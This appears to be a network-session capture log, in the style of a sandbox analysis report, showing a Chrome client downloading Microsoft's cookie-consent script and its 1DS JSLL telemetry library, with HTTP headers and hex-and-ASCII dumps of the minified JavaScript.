(e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};f
2024-12-02 10:22:40 UTC	16384	IN	Data Raw: 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c Data Ascii: l:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return nul
2024-12-02 10:22:40 UTC	16384	IN	Data Raw: 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: o track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(
2024-12-02 10:22:40 UTC	16384	IN	Data Raw: 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 Data Ascii: coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageT
2024-12-02 10:22:40 UTC	16384	IN	Data Raw: 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d Data Ascii: n!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].nam
2024-12-02 10:22:40 UTC	16384	IN	Data Raw: 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 Data Ascii: uthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="sp
2024-12-02 10:22:40 UTC	16384	IN	Data Raw: 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c Data Ascii: )),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.11.20	49924	13.107.246.71	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:41 UTC	379	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2024-12-02 10:22:41 UTC	713	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:22:41 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 38701 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 6033da4c-d01e-00a3-3e4a-44a51a000000 x-ms-version: 2009-09-19 x-azure-ref: 20241202T102241Z-166fdcf7d95cjm4ghC1LAX1xp8000000022000000000kmnn Accept-Ranges: bytes
2024-12-02 10:22:41 UTC	16384	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-12-02 10:22:41 UTC	16382	IN	Data Raw: 2d 6c 61 62 65 6c 3d 22 27 2b 69 2e 65 73 63 61 70 65 48 74 6d 6c 28 74 68 69 73 2e 74 65 78 74 52 65 73 6f 75 72 63 65 73 2e 70 72 65 66 65 72 65 6e 63 65 73 44 69 61 6c 6f 67 43 6c 6f 73 65 4c 61 62 65 6c 29 2b 27 22 20 63 6c 61 73 73 3d 22 27 2b 61 2e 63 6c 6f 73 65 4d 6f 64 61 6c 49 63 6f 6e 2b 27 22 20 74 61 62 69 6e 64 65 78 3d 22 30 22 3e 26 23 78 32 37 31 35 3b 3c 2f 62 75 74 74 6f 6e 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 72 6f 6c 65 3d 22 64 6f 63 75 6d 65 6e 74 22 20 63 6c 61 73 73 3d 22 27 2b 61 2e 6d 6f 64 61 6c 42 6f 64 79 2b 27 22 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 27 2b 61 2e 6d 6f 64 Data Ascii: -label="'+i.escapeHtml(this.textResources.preferencesDialogCloseLabel)+'" class="'+a.closeModalIcon+'" tabindex="0">✕</button>\n <div role="document" class="'+a.modalBody+'">\n <div>\n <h1 class="'+a.mod
2024-12-02 10:22:41 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 7d 2c 65 7d 28 29 2c 64 3d 5b 22 61 72 22 2c 22 68 65 22 2c 22 70 73 22 2c 22 75 72 22 2c 22 66 61 22 2c 22 70 61 22 2c 22 73 64 22 2c 22 74 6b 22 2c 22 75 67 22 2c 22 79 69 22 2c 22 73 79 72 22 2c 22 6b 73 2d 61 72 61 62 22 5d 2c 75 3d 7b 22 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 3a 22 23 36 36 36 36 36 36 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 6f 70 61 63 69 74 79 22 3a 22 31 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f Data Ascii: background-color: "+e["radio-button-disabled-color"]+" !important;\n }"},e}(),d=["ar","he","ps","ur","fa","pa","sd","tk","ug","yi","syr","ks-arab"],u={"close-button-color":"#666666","secondary-button-disabled-opacity":"1","secondary-butto
2024-12-02 10:22:41 UTC	3567	IN	Data Raw: 28 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e Data Ascii: ("-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChan

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.11.20	49930	13.107.246.71	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:41 UTC	376	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2024-12-02 10:22:42 UTC	889	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:22:42 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 8d896b17-401e-00b1-17a3-2ddeca000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241202T102242Z-166fdcf7d9569mcwhC1LAX09b40000000910000000003fd8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 10:22:42 UTC	15495	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-12-02 10:22:42 UTC	16384	IN	Data Raw: 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 Data Ascii: (i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(
2024-12-02 10:22:42 UTC	16384	IN	Data Raw: 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 Data Ascii: (e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(
2024-12-02 10:22:42 UTC	16384	IN	Data Raw: 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 Data Ascii: (e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};f
2024-12-02 10:22:42 UTC	16384	IN	Data Raw: 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c Data Ascii: l:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return nul
2024-12-02 10:22:42 UTC	16384	IN	Data Raw: 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: o track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(
2024-12-02 10:22:42 UTC	16384	IN	Data Raw: 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 Data Ascii: coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageT
